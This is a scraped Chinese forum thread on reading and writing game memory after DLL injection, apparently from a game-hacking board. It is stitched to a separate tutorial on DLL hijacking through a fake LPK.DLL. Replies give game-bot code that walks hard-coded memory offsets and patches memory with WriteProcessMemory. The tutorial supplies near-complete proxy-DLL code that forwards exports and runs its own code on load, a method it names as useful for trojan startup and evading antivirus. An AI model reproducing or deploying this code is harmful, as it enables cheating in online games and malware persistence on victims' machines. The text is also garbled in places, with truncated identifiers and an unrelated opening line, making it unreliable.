有内存stm32 adc注入组例程DLL的例程吗

还没有帐号? 赶紧
用户名:&&密码:登录注册
求助!有没有高手发一下,DLL注入后,的指针读内存的例子啊,最好是VC的,
UID:75191
在线时间32小时
金钱62威望138贡献值0社区警告0诚信值0账号服务0热心值0
本帖被 liyimiao 从 ::::编程乐园:::: 移动到本区()
&&求助!&有没有高手发一下,DLL注入后,的指针读内存的例子啊,最好是VC的,
UID:56531
在线时间1429小时
金钱977威望2976贡献值88社区警告0诚信值0账号服务0热心值2
写2字节&*(SHORT *)(DWORD*)(*(DWORD*)0x0000000) = 0xFFFF&&读1字节&if (*(BYTE*)(DWORD*)(0x)==0x00)
UID:29798
在线时间902小时
金钱445威望957贡献值20社区警告0诚信值250账号服务0热心值1
我申请广海小组的作品就是一个VC写的全局钩子辅助,里面用指针读取的数据,刚才没找到,我把读取部分再发一次上来吧。&======================================&//实现线程函数&DWORD WINAPI GetThreadProc(LPVOID lpParameter)&{& & & && & && & while (isThreadON)&& & {&&& & & & ::EnterCriticalSection(&stCS);&& & & & ////////////玩家自己信息///////////&&& & & & long *&& & & & long *//人物基地址&& & & & long *//怪地址&& & & & long * BagA//包地址&& & & & long * JnF//技能地址&& & & & long * WuP//地面物品地址&& & & & long * ZyADD;//增益地址&&& & & & long * JnA&& & & & long * BagF&& & & & long * BagIA&& & & & long * WPFADD;&& & & & long * WPADD;&& & & & long * GADDF;&& & & & long * GADD;&& & & & long *&& & & & long *&&& & & & long GMax,CurCounts,offset2,NamePy1,NamePy2;&&& & & & wchar_t temwchar[254];&&& & & & CurCounts = 0;&&& & & & ///////////////&&& & & & buff = (long *)GameB&& & & & && & & & if(!::IsBadReadPtr((LPVOID)buff,sizeof(long)))&& & & & & & buff = (long *)(*buff+0x1c);&& & & & if(!::IsBadReadPtr((LPVOID)buff,sizeof(long)))&& & & & & & human = (long *)(*buff+0x28);//人物基地址&&& & & & //char bb[10];&& & & & //::sprintf(bb,&%d&,*human);&& & & & //AfxMessageBox(bb);&& & & & //&&& & & & if(!::IsBadReadPtr((LPVOID)buff,sizeof(long)))&& & & & & & guai = (long *)(*buff+0x8);&& & & & if(!::IsBadReadPtr((LPVOID)guai,sizeof(long)))&& & & & & & UInfo.MapID = *((long *)(*guai+0x88));&& & & & if(!::IsBadReadPtr((LPVOID)guai,sizeof(long)))&& & & & & & WuPin = (long *)(*guai+0x24);//地面物品基地址&& & & & if(!::IsBadReadPtr((LPVOID)guai,sizeof(long)))&& & & & & & guai = (long *)(*guai+0x20);//怪基地址&& & & & /////////////////////////技能/////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & GL.JnMaxCount = *((long *)(*human+0x10ac));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & JnFirst = (long *)(*human+0x10a8);&&& & & & /////////////////////////包裹///////////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & BagAdd = (long *)(*human+0x1000);&& & & & if(!::IsBadReadPtr((LPVOID)BagAdd,sizeof(long)))&& & & & & & BL.BagMaxCount = *((long *)(*BagAdd+0x10));&& & & & if(!::IsBadReadPtr((LPVOID)BagAdd,sizeof(long)))&& & & & & & BagFirst = (long *)(*BagAdd+0xc);&& & & & //////////////////////////////////////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & ZyADD = (long *)(*human+0x114);//增益地址&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & ZL.ZyCount = *((long *)(*human+0x118));&& & & & ////////////////////////怪物///////////////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)guai,sizeof(long)))&& & & & & & GLT.GwCount = *((long *)(*guai+0x24));&& & & & if(!::IsBadReadPtr((LPVOID)guai,sizeof(long)))&& & & & & & GADDF = (long *)(*guai+0x18);&&& & & & ////////////////////////地面物品///////////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)WuPin,sizeof(long)))&& & & & & & WL.WpCount = *((long *)(*WuPin+0x24));&& & & & if(!::IsBadReadPtr((LPVOID)WuPin,sizeof(long)))&& & & & & & WPFADD = (long *)(*WuPin+0x18);&& & & & //////////////////////////////////////////////////////////////////////&&& & & & /////////////////////////////////////////////////////////////////////&&& & & & /////////////////////人物信息////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & manzt = (long *)(*human+0x1080);&& & & & if(!::IsBadReadPtr((LPVOID)manzt,sizeof(long)))&& & & & & & manzt = (long *)(*manzt+0x14);&& & & & if(!::IsBadReadPtr((LPVOID)manzt,sizeof(long)))&& & & & & & UInfo.CurState = *((long *)(*manzt+0x4));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.ID = *((long *)(*human+0x234));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.HP = *((long *)(*human+0x248));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.MaxHP = *((long *)(*human+0x260));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.MP = *((long *)(*human+0x24C));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.MaxMP = *((long *)(*human+0x264));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.X = *((float *)(*human+0x484));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.Y = *((float *)(*human+0x48c));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.LV = *((long *)(*human+0x240));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & UInfo.JY = *((double *)(*human+0x254));&& & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & offset = (long *)(*human+0x450);&& & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & offset = (long *)(*offset+0x0);&& & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & {&& & & & & & memset(temwchar,0,sizeof(temwchar));&& & & & & & memcpy(temwchar,offset,sizeof(temwchar));&& & & & & & WideCharToMultiByte( CP_ACP, 0,(LPCWSTR)temwchar, -1,UInfo.UName,253, NULL, NULL );&& & & & }&&& & & & ///////////////////////////////////////////////////////////////&&& & & & ////////////////////////目标信息//////////////////////////////////////&& & & & if(UInfo.CurState != 6)&& & & & {&& & & & & & if(!::IsBadReadPtr((LPVOID)human,sizeof(long)))&& & & & & & & & GI.GID = *((long *)(*human+0xE60));&& & & & & & GI.Clear();&& & & & & & if (GI.GID != 0)&& & & & & & {&& & & & & & & & if(!::IsBadReadPtr((LPVOID)guai,sizeof(long)))&& & & & & & & & & & GMax = *((long *)(*guai+0x24));&& & & & & & & & if(GMax & 0)&& & & & & & & & {&& & & & & & & & & & GADD = 0;&& & & & & & & & & & offset2 = (GI.GID % GMax) * 4;&& & & & & & & & & & if(GI.GID & 0)&& & & & & & & & & & {&& & & & & & & & & & & & offset2 = (GI.GID % GMax) * 4 + (0x7FFFFFFF % GMax) * 8 + 8;&& & & & & & & & & & }&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADDF,sizeof(long)))&& & & & & & & & & & & & GADD = (long *)(*GADDF+offset2);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GADD = (long *)(*GADD+0x4);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.HP = *((long *)(*GADD+0x130));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.MaxHP = *((long *)(*GADD+0x148));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.Lv = *((long *)(*GADD+0x128));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.Class = *((long *)(*GADD+0xB4));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.Isdie = *((long *)(*GADD+0x1FC));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.X = *((float *)(*GADD+0x3C));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.Y = *((float *)(*GADD+0x44));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GI.JL = *((float *)(*GADD+0x240));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*GADD+0x21C);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+0x0);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)) && (GI.Class == 6 || GI.Class == 7))&& & & & & & & & & & {&& & & & & & & & & & & & memset(temwchar,0,sizeof(temwchar));&& & & & & & & & & & & & memcpy(temwchar,offset,sizeof(temwchar));&& & & & & & & & & & & & WideCharToMultiByte( CP_ACP, 0,(LPCWSTR)temwchar, -1,GI.GName,253, NULL, NULL );&& & & & & & & & & & }&& & & & & & & & }&& & & & & & }&& & & & }&& & & & && & & & /////////////////////////////////////////////////////////////////////////&& & & & //////////////////////////范围怪物/////////////////////////////////////////////&&& & & & if(GLT.GwCount & 0)&& & & & {&& & & & & & for(long g=0;g&(long)GLT.GwCg++)&& & & & & & {&& & & & & & & & GADD = 0;&& & & & & & & & if(!::IsBadReadPtr((LPVOID)GADDF,sizeof(long)))&& & & & & & & & & & GADD = (long *)(*GADDF+g*0x4);&& & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & {&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GADD = (long *)(*GADD+0x4);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GLT.GIf[g].ZL = *((long *)(*GADD+0xB4));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GLT.GIf[g].ID = *((long *)(*GADD+0x11C));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GLT.GIf[g].JL = *((float *)(*GADD+0x240));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & GLT.GIf[g].ISdie = *((long *)(*GADD+0x1FC));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)GADD,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*GADD+0x21C);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+0x0);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)) && (GI.Class == 6 || GI.Class == 7))&& & & & & & & & & & {&& & & & & & & & & & & & memset(temwchar,0,sizeof(temwchar));&& & & & & & & & & & & & memcpy(temwchar,offset,sizeof(temwchar));&& & & & & & & & & & & & WideCharToMultiByte( CP_ACP, 0,(LPCWSTR)temwchar, -1,GLT.GIf[g].Name,253, NULL, NULL );&& & & & & & & & & & }&& & & & & & & & }&& & & & & & & & else&& & & & & & & & {&& & & & & & & & & & GLT.GIf[g].Clear();&& & & & & & & & }&& & & & & & }&& & & & }&& & & & /////////////////////////////////////////////////////////////////////////////&& & & & //////////////////////////地面物品////////////////////////////////////////////&& & & & if(WL.WpCount & 0)&& & & & {&& & & & & & for(long w=0;w&(long)WL.WpCw++)&& & & & & & {&& & & & & & & & WPADD = 0;&& & & & & & & & if(!::IsBadReadPtr((LPVOID)WPFADD,sizeof(long)))&& & & & & & & & & & WPADD = (long *)(*WPFADD+w*0x4);&&& & & & & & & & if(!::IsBadReadPtr((LPVOID)WPADD,sizeof(long)))&& & & & & & & & {&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)WPADD,sizeof(long)))&& & & & & & & & & & & & WPADD = (long *)(*WPADD+0x4);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)WPADD,sizeof(long)))&& & & & & & & & & & & & WL.WI[w].ID1 = *((long *)(*WPADD+0x10C));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)WPADD,sizeof(long)))&& & & & & & & & & & & & WL.WI[w].ID2 = *((long *)(*WPADD+0x110));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)WPADD,sizeof(long)))&& & & & & & & & & & & & WL.WI[w].JL = *((float *)(*WPADD+0x15c));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)WPADD,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*WPADD+0x168);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+0x0);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & {&& & & & & & & & & & & & memset(temwchar,0,sizeof(temwchar));&& & & & & & & & & & & & memcpy(temwchar,offset,sizeof(temwchar));&& & & & & & & & & & & & WideCharToMultiByte( CP_ACP, 0,(LPCWSTR)temwchar, -1,WL.WI[w].Name,253, NULL, NULL );&& & & & & & & & & & }&& & & & & & & & }&& & & & & & & & else&& & & & & & & & {&& & & & & & & & & & WL.WI[w].Clear();&& & & & & & & & }&& & & & & & }&& & & & }&& & & & /////////////////////////////////////////////////////////////////////////////&& & & & ////////////////////技能信息/////////////////////////////////////////////&& & & & if(GL.JnMaxCount & 0)&& & & & {&& & & & & & for(long i=0;i&(long)GL.JnMaxCi++)&& & & & & & {&& & & & & & & & JnAdd = 0;&& & & & & & & & if(!::IsBadReadPtr((LPVOID)JnFirst,sizeof(long)))&& & & & & & & & & & JnAdd = (long *)(*JnFirst+i*0x4);&& & & & & & & & if(!::IsBadReadPtr((LPVOID)JnAdd,sizeof(long)))&& & & & & & & & {&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)JnAdd,sizeof(long)))&& & & & & & & & & & & & GL.JI.Zt = *((long *)(*JnAdd+0xC));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)JnAdd,sizeof(long)))&& & & & & & & & & & & & GL.JI.ID = *((long *)(*JnAdd+0x8));&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)JnAdd,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*JnAdd+0x4);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+0x4);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+0x7E);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+0x0);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & {&& & & & & & & & & & & & memset(temwchar,0,sizeof(temwchar));&& & & & & & & & & & & & memcpy(temwchar,offset,sizeof(temwchar));&& & & & & & & & & & & & WideCharToMultiByte( CP_ACP, 0,(LPCWSTR)temwchar, -1,GL.JI.Name,253, NULL, NULL );&& & & & & & & & & & }&& & & & & & & & }&& & & & & & & & else&& & & & & & & & {&& & & & & & & & & & GL.JI.Clear();&& & & & & & & & }&& & & & & & }&&& & & & }&& & & & ////////////////////////////////////////////////////////////////////////&& & & & ////////////////////包裹信息//////////////////////////////////////////&& & & & if(BL.BagMaxCount & 0)&& & & & {&& & & & & & for(long j=0;j&(long)BL.BagMaxCj++)&& & & & & & {&& & & & & & & & BagIAdd = 0;&& & & & & & & & if(!::IsBadReadPtr((LPVOID)BagFirst,sizeof(long)))&& & & & & & & & & & BagIAdd = (long *)(*BagFirst+j*0x4);&& & & & & & & & if(!::IsBadReadPtr((LPVOID)BagIAdd,sizeof(long)))&& & & & & & & & {&& & & & & & & & & & //if(!::IsBadReadPtr((LPVOID)BagIAdd,sizeof(long)))&& & & & & & & & & & & & BL.BI[j].ID = *((long *)(*BagIAdd+0x8));&& & & & & & & & & & //if(!::IsBadReadPtr((LPVOID)BagIAdd,sizeof(long)))&& & & & & & & & & & & & BL.BI[j].Count = *((long *)(*BagIAdd+0x14));&& & & & & & & & & & //if(!::IsBadReadPtr((LPVOID)BagIAdd,sizeof(long)))&& & & & & & & & & & & & BL.BI[j].Type1 = *((long *)(*BagIAdd+0x4));&& & & & & & & & & & //if(!::IsBadReadPtr((LPVOID)BagIAdd,sizeof(long)))&& & & & & & & & & & & & BL.BI[j].Type2 = *((long *)(*BagIAdd+0x9));&&& & & & & & & & & & if(BL.BI[j].Type1 & 7)&& & & & & & & & & & {&& & & & & & & & & & & & NamePy1 = 0x68;&& & & & & & & & & & & & NamePy2 = 0xC;&& & & & & & & & & & }&& & & & & & & & & & else if(BL.BI[j].Type1 & 6 && BL.BI[j].Type1 & 15)&& & & & & & & & & & {&& & & & & & & & & & & & NamePy1 = 0x60;&& & & & & & & & & & & & NamePy2 = 0x4;&& & & & & & & & & & }&& & & & & & & & & & else if(BL.BI[j].Type1 & 14 && BL.BI[j].Type1 & 20)&& & & & & & & & & & {&& & & & & & & & & & & & NamePy1 = 0x60;&& & & & & & & & & & & & NamePy2 = 0xC;&& & & & & & & & & & }&& & & & & & & & & & else if(BL.BI[j].Type1 & 19)&& & & & & & & & & & {&& & & & & & & & & & & & NamePy1 = 0x60;&& & & & & & & & & & & & NamePy2 = 0x4;&& & & & & & & & & & }&& & & & & & & & & & && & & & & & & & & & //if(!::IsBadReadPtr((LPVOID)BagIAdd,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*BagIAdd+NamePy1);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & & & offset = (long *)(*offset+NamePy2);&& & & & & & & & & & if(!::IsBadReadPtr((LPVOID)offset,sizeof(long)))&& & & & & & & & & & {&& & & & & & & & & & & & memset(temwchar,0,sizeof(temwchar));&& & & & & & & & & & & & memcpy(temwchar,offset,sizeof(temwchar));&& & & & & & & & & & & & WideCharToMultiByte( CP_ACP, 0,(LPCWSTR)temwchar, -1,BL.BI[j].Name,253, NULL, NULL );&& & & & & & & & & & }&& & & & & & & & & & if(BL.BI[j].ID & 0)&& & & & & & & & & & {&& & & & & & & & & & & & CurCounts++;&& & & & & & & & & & }&& & & & & & & & }&& & & & & & & & else&& & & & & & & & {&& & & & & & & & & & BL.BI[j].Clear();&& & & & & & & & }&&& & & & & & }&& & & & & & BL.CurCount = CurC&& & & & }&& & & & //////////////////////////////////////////////////////////////////////&& & & & /////////////////////技能增益////////////////////////////////////////&& & & & if(!::IsBadReadPtr((LPVOID)ZyADD,sizeof(long)))&& & & & {&& & & & & & for(int z=0;z&(int)ZL.ZyCz++)&& & & & & & {&& & & & & & & & if(!::IsBadReadPtr((LPVOID)ZyADD,sizeof(long)))&& & & & & & & & & & ZL.Zy[z].ID = *((short *)(*ZyADD+z*0x2));//2 byte(short)&& & & & & & }&& & & & }&& & & & //////////////////////////////////////////////////////////////////&& & & & ::LeaveCriticalSection(&stCS);& & &&& & & & ::Sleep(100);&& & & & && & }&& &&&}&=========================&现在这些地址和偏移已经不能用了,作为事例参考吧~
UID:47399
在线时间59小时
金钱220威望5贡献值0社区警告0诚信值0账号服务0热心值0
推荐楼上将读地址的操作用函数封装,每次IsBadReadPtr 判断,然后在加偏移,不觉得重复性的代码太多了吗
UID:29798
在线时间902小时
金钱445威望957贡献值20社区警告0诚信值250账号服务0热心值1
呵呵,说的很有道理~~&&这个是我最开始学VC时写的代码,那个时候主要注重VC如何实现什么什么功能,没注重架构设计和代码规划,呵呵~&&现在已经重写了上面的代码由于不是采用指针,所以还是拿以前的代码来说明注入后指针的使用方法。
UID:75614
在线时间30小时
金钱336威望105贡献值1社区警告0诚信值0账号服务0热心值0
我是这样写的。&&DWORD dwBaseAddr = 0x;DWORD dwBaseAddr2;DWORD dw = 0x0;BOOL rtn = ReadProcessMemory(GetCurrentProcess(), (LPCVOID)dwBaseAddr, &dwBaseAddr2, 4, NULL);if (FALSE != rtn){& & WriteProcessMemory(GetCurrentProcess(), (LPCVOID*)(dwBaseAddr2 + 0x17B4), &dw, 1, NULL);}
UID:76703
在线时间138小时
金钱10威望51贡献值25社区警告0诚信值0账号服务0热心值0
学习了,x1234521 的方法我比较喜欢。
/hack_oldwolf
UID:29798
在线时间902小时
金钱445威望957贡献值20社区警告0诚信值250账号服务0热心值1
终于找到了我当年申请广海小组时的帖子了,呵呵,有兴趣可以看看,里面是个完整的VC++6.0全局钩子注入,F12呼出的例子。&
UID:61219
在线时间12小时
金钱82威望83贡献值10社区警告0诚信值0账号服务0热心值0
注入了还搞那么复杂?&DWORD dwVal = *(DWORD*)0x39839 内存地址; &不过防问的时候最好加个&try catch 否则程序出错就挂掉了&__try __except 忽略所有错误
-----------------------|本人未婚,现招女友|-----------------------
UID:77482
在线时间90小时
金钱412威望300贡献值0社区警告0诚信值0账号服务0热心值0
MOV XXX,[]
访问内容超出本站范围,不能确定是否安全
Powered by & Copyright Time now is:08-07 00:37 &
版权所有 Gzip enabled
Total 0.029763(s) query 0, Time now is:08-07 00:37, Gzip enabled:说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的启动、破解程序的内存补丁、外挂插件的注入以及加密狗的模拟等。之所以DLL劫持技术深受黑客们的喜爱,主要是因为该技术可以有效的躲过大部分杀软,并且实现起来技术难度不大。DLL劫持技术也不是什么新技术,记得在《核心编程》中也有提及相关技术。可是对我们广大初学者来说,DLL劫持技术就显得很神秘了,本系列教程将向大家详细讲解什么是DLL劫持、DLL劫持的形成原因及原理、最后还会以实例向大家讲解如何通过编程实现DLL劫持。
●背景知识●
首先我们要了解为什么可以DLL劫持呢?主要是因为的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在的系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。举个例子来说吧,的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序,用360的进程管理工具可以显示记事本进程加载的所有模块,如图1所示。
图1 记事本加载的所有模块&可以看到记事本加载了c:\Windows\system32\LPK.DLL。
●什么是DLL劫持●
根据前面说的资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录-&系统目录(用GetSystemDirectory获取)-&16位系统目录-&目录(用GetWindowsDirectory获取)-&运行程序的当前目录-&PATH环境变量,如果为0,搜索顺序为:应用程序所在目录-&运行程序的当前目录-&系统目录(用GetSystemDirectory获取)-&16位系统目录-&目录(用GetWindowsDirectory获取)-&PATH环境变量。&Server 2003默认值为1,&XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。
●DLL劫持的实现●
这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:1、构造一个与系统目录下LPK.DLL一样的导出表;2、加载系统目录下的LPK.DLL;3、将导出函数转发到系统目录下的LPK.DLL上;4、在初始化函数中加入我们要执行的代码。我们使用VC++来进行开发,首先是定义导出函数。核心代码如下:
★#pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")#pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")#pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_gamehacker_LpkGetCharacterPlacement,@7")#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")#pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")★
以上是导出表中的函数,LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:
★EXTERNC void __cdecl gamehacker_LpkEditControl(void);&&&EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {gamehacker_LpkEditControl};&&★
LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。加载系统目录下的LPK.DLL。核心代码如下:
★&inline BOOL WINAPI Load()&{&&TCHAR tzPath[MAX_PATH];&&TCHAR tzTemp[MAX_PATH * 2];&&&&GetSystemDirectory(tzPath, MAX_PATH);&&lstrcat(tzPath, TEXT("\\lpk"));&&m_hModule=LoadLibrary(tzPath);&&&&return (m_hModule != NULL);&&}★
在代码中可以看到,使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了,这步是很关键的。首先要获得原函数地址。核心代码如下:
★&FARPROC WINAPI GetAddress(PCSTR pszProcName)&{&&FARPROC fpA&&CHAR szProcName[16];&&TCHAR tzTemp[MAX_PATH];&&&&fpAddress = GetProcAddress(m_hModule, pszProcName);&&&&return fpA&}★
然后将我们构造的导出函数一一转发。核心代码如下:
★ALCDECL gamehacker_LpkInitialize(void){&GetAddress("LpkInitialize");&__asm JMP EAX;}
ALCDECL gamehacker_LpkTabbedTextOut(void){&GetAddress("LpkTabbedTextOut");&__asm JMP EAX;}
ALCDECL gamehacker_LpkDllInitialize(void){&GetAddress("LpkDllInitialize");&__asm JMP EAX;}
ALCDECL gamehacker_LpkDrawTextEx(void){&GetAddress("LpkDrawTextEx");&__asm JMP EAX;}
ALCDECL gamehacker_LpkEditControl(void){&GetAddress("LpkEditControl");&__asm jmp DWORD ptr [EAX];}
ALCDECL gamehacker_LpkExtTextOut(void){&GetAddress("LpkExtTextOut");&__asm JMP EAX;}
ALCDECL gamehacker_LpkGetCharacterPlacement(void){&GetAddress("LpkGetCharacterPlacement");&__asm JMP EAX;}
ALCDECL gamehacker_LpkGetTextExtentExPoint(void){&GetAddress("LpkGetTextExtentExPoint");&__asm JMP EAX;}
ALCDECL gamehacker_LpkPSMTextOut(void){&GetAddress("LpkPSMTextOut");&__asm JMP EAX;}
ALCDECL gamehacker_LpkUseGDIWidthCache(void){&GetAddress("LpkUseGDIWidthCache");&__asm JMP EAX;}
ALCDECL gamehacker_ftsWordBreak(void){&GetAddress("ftsWordBreak");&__asm JMP EAX;}★
转发完之后不要忘记LpkEditControl哦,要将真实数据复制过来。核心代码如下:
★&memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);&&★
好了,到这里整个DLL劫持基本就算完成了,也许你要问,那我们要执行的代码写在哪里?我的方法是将其写到初始化函数中。这样当DLL被加载的时候就会执行。下面看一下DLL的入口函数吧。
★BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){&if (dwReason == DLL_PROCESS_ATTACH)&{&&DisableThreadLibraryCalls(hModule);&&if(Load())&&{&&&&&memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);&&&&&_beginthread(Init,NULL,NULL);&&}&&else&&&return FALSE;&}&else if (dwReason == DLL_PROCESS_DETACH)&{&&Free();&}&return TRUE;}★
在这个函数中我们看到,当加载系统目录下的LPK.DLL成功后,进行了LpkEditControl数组的复制,并通过_beginthread(Init,NULL,NULL);定义了初始化函数Init,而这个初始化函数是由我们控制的。下面在初始化函数Init中写入测试代码如下:
★void WINAPIV Init(LPVOID pParam);void WINAPIV Init(LPVOID pParam){&TCHAR tzPath[MAX_PATH];&TCHAR tzTemp[MAX_PATH * 2];&&wsprintf(tzTemp, TEXT("劫持函数运行了......."), tzPath);&&&MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);&&}&★
